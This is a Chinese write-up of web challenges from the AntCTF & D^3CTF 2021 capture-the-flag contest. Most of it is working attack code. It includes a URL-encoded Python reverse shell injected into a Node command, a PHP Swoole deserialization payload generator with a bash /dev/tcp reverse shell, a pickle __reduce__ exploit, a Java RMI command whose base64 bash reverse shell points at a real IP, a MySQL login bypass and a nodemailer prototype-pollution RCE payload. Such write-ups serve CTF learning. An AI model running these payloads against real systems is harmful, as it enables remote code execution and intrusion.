AntCTF&D^3CTF 2021 WEB WP

不愧是蚂蚁SRC和三电联合主办的CTF,质量很顶(太菜了,被虐de太惨了

Pool Calc

考点

简单Node.Js代码审计、简单的反编译、Python Pickle反序列化、PHP Swoole反序列化RCE、JavaRMI反序列化

这是一道需要拿到主机(Node服务)和三个docker flag的合成题,有点可惜,本来做到深夜差个Java就一血了,一觉醒来没了…

Node.Js(主机)

题目给了docker.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
version: "3"

services:
java_calc:
build: ./java_calc
environment:
APP_NAME: "java_calc"
restart: always

php_calc:
build: ./php_calc
environment:
APP_NAME: "php_calc"
restart: always

py_calc:
build: ./py_calc
environment:
APP_NAME: "py_calc"
restart: always

web_app:
build: ./web_app
environment:
APP_NAME: "web_app"
ports:
- "3000:3000"

感觉没什么用(给选手提前说一下存在四种不同语言的服务?

打开网站,注意到URL的/redirect?filename=index.html

读取app.js,关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
const fs = require('fs')
const express = require('express')
const {exec} = require('child_process')
const format = require("string-format")
const dotenv = require("dotenv");

//省略....

app.get("/redirect", (req, res) => {
let filename = req.query.filename
res.sendFile(`${__dirname}/` + filename)
})

app.get('/calc', (req, res) => {
let params = req.query
var lang = params.language !== undefined ? params.language : "python"

let calc_client_path = {
"python": process.env.py_calc_tool_path,
"php": process.env.php_calc_tool_path,
"java": process.env.java_calc_tool_path
}

if (lang === 'python') {
let data = {
"action": params.action,
"a": params.a,
"b": params.b,
"ip": process.env.py_calc_address,
"port": process.env.py_calc_port
}
var cmd = format(calc_client_path.python + " " + '-action {action} -a {a} -b {b} -ip {ip} -p {port}', data)
} else if (lang === 'php') {
let data = {
"action": params.action,
"a": params.a,
"b": params.b,
"ip": process.env.php_calc_address,
"port": process.env.php_calc_port
}
var cmd = format(calc_client_path.php + " " + '-action {action} -a {a} -b {b} -ip {ip} -p {port}', data)
} else if (lang === 'java') {
let data = {
"action": params.action,
"a": params.a,
"b": params.b,
"ip": process.env.java_calc_address,
"port": process.env.java_calc_port
}
var cmd = format("java -jar" + " " + calc_client_path.java + " " + '-action {action} -a {a} -b {b} -ip {ip} -p {port}', data)
}

try {
exec(cmd, ((error, stdout, stderr) => {res.send(stdout)}))
} catch (e) {
res.send("Something Error")
}
})


//省略....

直接就把用户输入拼接到了命令执行语句,弹个shell(可能做了某些限制,不能bash弹,所以用的Python

/calc?language=python&action=add&a=1&b=1||python+-c+%27import+socket%2csubprocess%2cos%3bs%3dsocket.socket(socket.AF_INET%2csocket.SOCK_STREAM)%3bs.connect((%22ip%22%2cport))%3bos.dup2(s.fileno()%2c0)%3b+os.dup2(s.fileno()%2c1)%3b+os.dup2(s.fileno()%2c2)%3bp%3dsubprocess.call(%5b%22%2fbin%2fsh%22%2c%22-i%22%5d)%3b%27

执行/getflag即可获得第一部分flag

PHP

拿到了主机的webshell,接下来就是读取三个docker的文件了,先看PHP

RCTF2020一样,考点都是Swoole反序列化,但这里需要用到wupoc师傅的非预期(RCE)

一搜就能找到 https://evi0s.com/2020/06/01/rctf2020-web-writeup/

但自己本地没搭Swoole…..搭了半晚上环境才搞好

主机没有Swoole环境,所以生成不了Payload,但又因为PHP docker在内网,所以只能在本地先生成出反序列化payload,然后去主机上把Payload发送过去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
// Author: Wupco (http://www.wupco.cn/)

// https://github.com/swoole/library/blob/master/src/core/Curl/Handler.php#L309-L319
// delete(L309-L319) (bypass is_resource check) and change class name to Handlep
include('Handler.php');

// bypass %00
function process_serialized($serialized) {
$new = '';
$last = 0;
$current = 0;
$pattern = '#\bs:([0-9]+):"#';

while(
$current < strlen($serialized) &&
preg_match(
$pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current
)
)
{

$p_start = $matches[0][1];
$p_start_string = $p_start + strlen($matches[0][0]);
$length = $matches[1][0];
$p_end_string = $p_start_string + $length;

# Check if this really is a serialized string
if(!(
strlen($serialized) > $p_end_string + 2 &&
substr($serialized, $p_end_string, 2) == '";'
))
{
$current = $p_start_string;
continue;
}
$string = substr($serialized, $p_start_string, $length);

# Convert every special character to its S representation
$clean_string = '';
for($i=0; $i < strlen($string); $i++)
{
$letter = $string{$i};
$clean_string .= ctype_print($letter) && $letter != '\\' ?
$letter :
sprintf("\\%02x", ord($letter));
;
}

# Make the replacement
$new .=
substr($serialized, $last, $p_start - $last) .
'S:' . $matches[1][0] . ':"' . $clean_string . '";'
;
$last = $p_end_string + 2;
$current = $last;
}

$new .= substr($serialized, $last);
return $new;

}
$o = new Swoole\Curl\Handlep("http://baidu.com/");
$o->setOpt(CURLOPT_READFUNCTION,"array_walk");
$o->setOpt(CURLOPT_FILE, "array_walk");
$o->exec = array('/bin/bash -c "bash -i >& /dev/tcp/xxxxxxx/9999 0>&1"');
$o->setOpt(CURLOPT_POST,1);
$o->setOpt(CURLOPT_POSTFIELDS,"aaa");
$o->setOpt(CURLOPT_HTTPHEADER,["Content-type"=>"application/json"]);
$o->setOpt(CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_1);

$a = serialize([$o,'exec']);
echo str_replace("Handlep", "Handler", urlencode(process_serialized($a)));

注意需要将Handler.php的类改为Handlep才行

1
2
3
4
5
6
7
8
9
<?php
$s = urldecode('.....'); //上面生成的Payload
$client = new Swoole\Client(SWOOLE_SOCK_TCP);
if (!$client->connect('php_calc', 8080, -1)) {
exit("connect failed. Error: {$client->errCode}\n");
}
$client->send($s);
echo $client->recv();
$client->close();

Python

/app/calc_tools/py/client

下载发现是ELF文件,需要逆一下才能看到client端源码

然后就是pickle反序列化

做到py的时候在/tmp找到了别人写好的POC,那就直接上车(懒狗行为
还有一个小坑点,主机是py2,但docker里是py3,导致前面用py2来运行exp一直没有反弹成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import socket, sys, pickle, argparse
import os

class Calculator:
action = None
a = None
b = None

def __init__(self, action, a, b):
self.action = action
self.a = float(a)
self.b = float(b)
def __reduce__(self):
return (os.system,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))

def generate_data(action, a, b):
obj = Calculator(action, a, b)
data = pickle.dumps(obj)
return data


def send_data(ip, port, pickle_data):
address = (
ip, int(port))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
try:
s.connect(address)
except Exception:
print('Server not found or not open')
sys.exit()

try:
try:
s.sendall(pickle_data)
print(pickle_data)
recv_c = s.recv(1024)
print(recv_c.decode())
except Exception:
s.close()

finally:
s.close()


if __name__ == '__main__':
data = generate_data("add", "1.0", "2.0")
send_data("py_calc", 8080, data)

java

发现一血没了就没看了,贴贴星盟师傅的WP吧

攻击注册中心:参考https://xz.aliyun.com/t/8247#toc-7的`AttackRegistryByLookupAndUnicastRef`

将该文章中的工具https://github.com/waderwu/attackRmi编译上传到服务器,配合`JRMPListener`(恶意服务)

反弹shell

1
java -jar j.jar LAUS 172.20.0.3 8080 172.20.0.5 29001 "bash -c {echo,YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuMy4zMS45MC8zMDAwMiAwPiYxICI=}|{base64,-d}|{bash,-i}"

8-bit pub

考点:原型链污染,Node.Js依赖库源码审计

开启Json解析导致登录验证绕过

题目给了源码

先放一下package.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
"name": "8-bit_pub",
"version": "1.0.0",
"private": true,
"scripts": {
"start": "node app.js"
},
"dependencies": {
"cookie-parser": "~1.4.4",
"express": "^4.16.4",
"express-session": "^1.17.1",
"http-errors": "~1.6.3",
"mysql": "^2.18.1",
"nodemailer": "^6.4.18",
"session-file-store": "^1.5.0",
"shvl": "^2.0.2"
}
}

题目需要我们先成为admin才能使用后续的功能,看一下登录功能的代码 /modules/users.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
signin: function (username, password, done) {
str = `SELECT * FROM users WHERE username = ${username} AND password = ${password}`
console.log(str)
sql.query(
"SELECT * FROM users WHERE username = ? AND password = ?",
[username, password],
function (err, res) {
if (err) {
console.log("error: ", err);
return done(err, null);
} else {
return done(null, res);
}
}
);
}

看起来没什么问题,但注意到这里开启了json解析 app.js

image-20210313014435851

在存在sql服务的node网站中支持json解析其实是一件很危险的事,wupco 师傅在其 几则NodeJS的安全问题 一文中就提到过(MongoDB)

而这里的MySQL也存在类似传入Obeject时的安全问题

传入Object

1
{"username":"admin","password":{"username":"admin"}}
image-20210313015117782

还可以是

1
{"username":"admin","password":{"password":1}}

寻找能污染的RCE漏洞点

接下来审计整个网站的功能点

找到controllers/adminController.js

这个写法非常像原型链污染,不过目前不清楚shvl是什么,先留着

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
const send = require("../utils/mail");
const shvl = require("shvl");

module.exports = {
home: function (req, res) {
return res.sendView("admin.html");
},

email: async function (req, res) {
let contents = {};

Object.keys(req.body).forEach((key) => {
shvl.set(contents, key, req.body[key]);
});

contents.from = '"admin" <admin@8-bit.pub>';

try {
await send(contents);
return res.json({message: "Success."});
} catch (err) {
return res.status(500).json({ message: err.message });
}
},
};

看下adminController,发现admin就只有一个发邮件的功能

作为admin唯一的功能,既然写法没问题,那问题肯定就出在了依赖库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const nodemailer = require("nodemailer");

async function send(contents) {
let transporter = nodemailer.createTransport({
host: "******", // Plz use your own smtp server for testing.
port: 25,
tls: { rejectUnauthorized: false },
auth: {
user: "******",
pass: "******",
},
});
return transporter.sendMail(contents);
}

module.exports = send;

用到了nodemailer模块,搜一下发现前段时间爆出过RCE

image-20210311205349492

但不是这个版本,去github跟一下漏洞点

传送门

有点长,做一些简化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
'use strict';

const spawn = require('child_process').spawn;
//省略

class SendmailTransport {
constructor(options) {
//省略
this._spawn = spawn;
//省略
}

send(mail, done) {
let args;
let sendmail;
//省略
if (this.args) {
// force -i to keep single dots
args = ['-i'].concat(this.args).concat(envelope.to);
} else {
args = ['-i'].concat(envelope.from ? ['-f', envelope.from] : []).concat(envelope.to);
}
//省略
try {
sendmail = this._spawn(this.path, args);
} catch (E) {
this.logger.error(
{
err: E,
tnx: 'spawn',
messageId
},
'Error occurred while spawning sendmail. %s',
E.message
);
return callback(E);
}
//省略
}
}

module.exports = SendmailTransport;

很明显,命令执行处sendmail = this._spawn(this.path, args);的两个参数都能被污染到,RCE可行

然后再看一下上面找到的shvl是什么情况

image-20210312153123317

醒目的Prototype Pollution,但由上面package.json可知,库版本不对,那就继续跟一下github源码库,看看漏洞点做了什么修改

漏洞代码 传送门

image-20210312154429982

修复后 传送门

image-20210312154507751

ban掉了__proto__

想起了NCTF2020PackageManager v2

image-20210312154844131

话说上面那道题的child_process建立子进程,朱古力学长在先知也发过分析 传送门

寻找利用链

现在还有个问题,如何去触发这个send函数呢?

找到nodemailer模块的/lib/mailer/index.jssendMail函数

image-20210313012413440

这里调用到了send,那么跟进一下this.transporter

image-20210313012557333

只要实例化的时候传入SendmailTransport,就能在调用sendMail函数时调用到SendmailTransport里的send函数了

因为上面的调用过程是在sendMail函数里面,所以需要我们找到能调用到sendMail和传入transporterSendmailTransport的地方

再回头看一下题目源码utils/mail.js

image-20210313013057649

那这里也不愁sendMail的调用了,只需要找到将传入的transporter赋值为SendmailTransport类的实例化对象即可完成整个攻击链

跟一下上面的createTransport

image-20210313013456316

只要存在options.sendmail就能将transporter赋值为SendmailTransporter的对象

毫无疑问,这也是能污染到的

最终payload

1
2
3
4
{
"constructor.prototype.sendmail": 1,
"constructor.prototype.shell": "/bin/sh", "constructor.prototype.path": "evil code", "constructor.prototype.args": [""
]}

剩下的就是一堆Java了。初学Java安全,刚好当天又是20级招新结束,所以比赛的时候后面的就没看了,有空去复现Orz….

评论